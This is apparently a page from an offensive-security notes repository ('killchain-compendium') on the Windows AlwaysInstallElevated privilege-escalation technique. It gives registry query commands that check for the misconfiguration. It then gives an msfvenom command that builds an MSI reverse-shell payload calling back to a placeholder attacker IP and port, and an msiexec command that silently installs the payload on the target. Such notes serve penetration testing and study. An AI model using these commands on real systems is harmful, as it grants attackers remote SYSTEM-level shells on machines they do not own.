whx
/
killchain-compendium
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity
killchain-compendium/exploit/windows/docs/always_installed_elevated.md

516 B
Raw Blame History

AlwaysInstalledElevated

  • Watch out for AlwaysInstalledElevated keys inside the registry via
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • Prepare reverse shell on attacker as an msi file
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi
  • start the msi on target
msiexec /quiet /qn /i C:\shell.msi